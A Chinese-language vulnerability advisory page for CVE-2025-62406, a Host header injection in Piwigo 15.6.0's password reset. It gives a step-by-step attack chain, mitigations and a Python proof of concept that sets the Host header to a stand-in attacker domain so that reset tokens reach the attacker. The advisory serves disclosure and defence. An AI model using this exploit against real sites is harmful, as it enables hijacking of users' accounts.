IPBUF安全漏洞报告
English
CVE-2025-62406 CVSS 8.1 高危

CVE-2025-62406 Piwigo 15.6.0 密码重置Host头注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-62406
漏洞类型
主机头注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Piwigo

相关标签

主机头注入密码重置漏洞账户接管钓鱼攻击PiwigoWeb应用安全身份认证绕过

漏洞概述

Piwigo是一款功能全面的开源照片画廊Web应用程序。在Piwigo 15.6.0版本中,密码重置功能存在严重的安全漏洞。该漏洞允许攻击者通过操纵HTTP请求中的Host头字段,注入任意域名到密码重置链接中。攻击者利用此漏洞可以向已知用户名或邮箱的目标用户发送包含恶意域名的密码重置链接。当受害者点击该链接时,其密码重置令牌会被发送到攻击者控制的服务器,从而导致账户被完全接管。此漏洞无需任何特殊权限即可利用,但需要目标用户进行一定的交互操作(如点击链接)。该漏洞已被标记为高危,CVSS评分达到8.1。

技术细节

漏洞根源在于Piwigo 15.6.0的密码重置功能在构造密码重置URL时,直接使用了HTTP请求中客户端提供的Host头信息,而未进行任何有效性验证或安全过滤。正常流程中,用户请求密码重置时,系统应生成包含唯一令牌的URL并发送至用户注册邮箱。但当前实现直接采用request->getHeader('Host')来构建URL基础路径,使得攻击者可以通过修改Host头值为任意域名(如attacker.com)。攻击者随后使用目标用户名或邮箱发起密码重置请求,系统生成的密码重置链接将指向攻击者域名。受害者收到邮件后,若点击该链接,密码重置令牌会被发送至攻击者服务器。攻击者获取令牌后即可重置受害者账户密码,完成账户接管。攻击成功的前提是攻击者已知目标用户的用户名或邮箱地址。

攻击链分析

STEP 1
步骤1 - 信息收集
攻击者收集目标网站上的有效用户名或邮箱地址,可以通过用户注册页面、评论功能或其他公开信息获取
STEP 2
步骤2 - 构造恶意请求
攻击者向密码重置端点发送POST请求,在HTTP请求头中注入恶意的Host字段,指向攻击者控制的域名
STEP 3
步骤3 - 令牌劫持
系统使用注入的Host头值构造密码重置URL,导致密码重置令牌被发送到攻击者控制的服务器
STEP 4
步骤4 - 诱导点击
攻击者通过社会工程学手段诱导目标用户点击伪造的密码重置链接,或直接利用获取的令牌重置密码
STEP 5
步骤5 - 账户接管
攻击者获取密码重置令牌后,可直接重置受害者账户密码,实现完整的账户接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-62406 PoC - Piwigo Host Header Injection in Password Reset # Affected Version: Piwigo <= 15.6.0 # Fixed Version: Piwigo 15.7.0 def exploit_host_header_injection(target_url, username, attacker_domain): """ Exploit for Host Header Injection in Piwigo password reset function. Args: target_url: Target Piwigo installation URL username: Target user username or email attacker_domain: Attacker's controlled domain to receive reset tokens Returns: Response object from the password reset request """ password_reset_endpoint = f"{target_url}/password_reset.php" headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC Exploit', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded' } payload = { 'username': username } print(f"[*] Sending password reset request for user: {username}") print(f"[*] Injected Host header: {attacker_domain}") try: response = requests.post( password_reset_endpoint, headers=headers, data=payload, timeout=30, allow_redirects=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Check {attacker_domain} logs for incoming password reset token requests") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": TARGET = "http://vulnerable-piwigo-site.com" ATTACKER_DOMAIN = "attacker-controlled-domain.com" TARGET_USER = "admin" exploit_host_header_injection(TARGET, TARGET_USER, ATTACKER_DOMAIN)

影响范围

Piwigo < 15.7.0

防御指南

临时缓解措施
如果无法立即升级,可通过Web服务器配置(如Nginx的proxy_set_header Host或Apache的UseCanonicalName)强制使用固定的服务器主机名,防止客户端注入任意Host头。同时建议在密码重置功能中增加异常登录检测和邮件通知机制,及时发现账户异常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表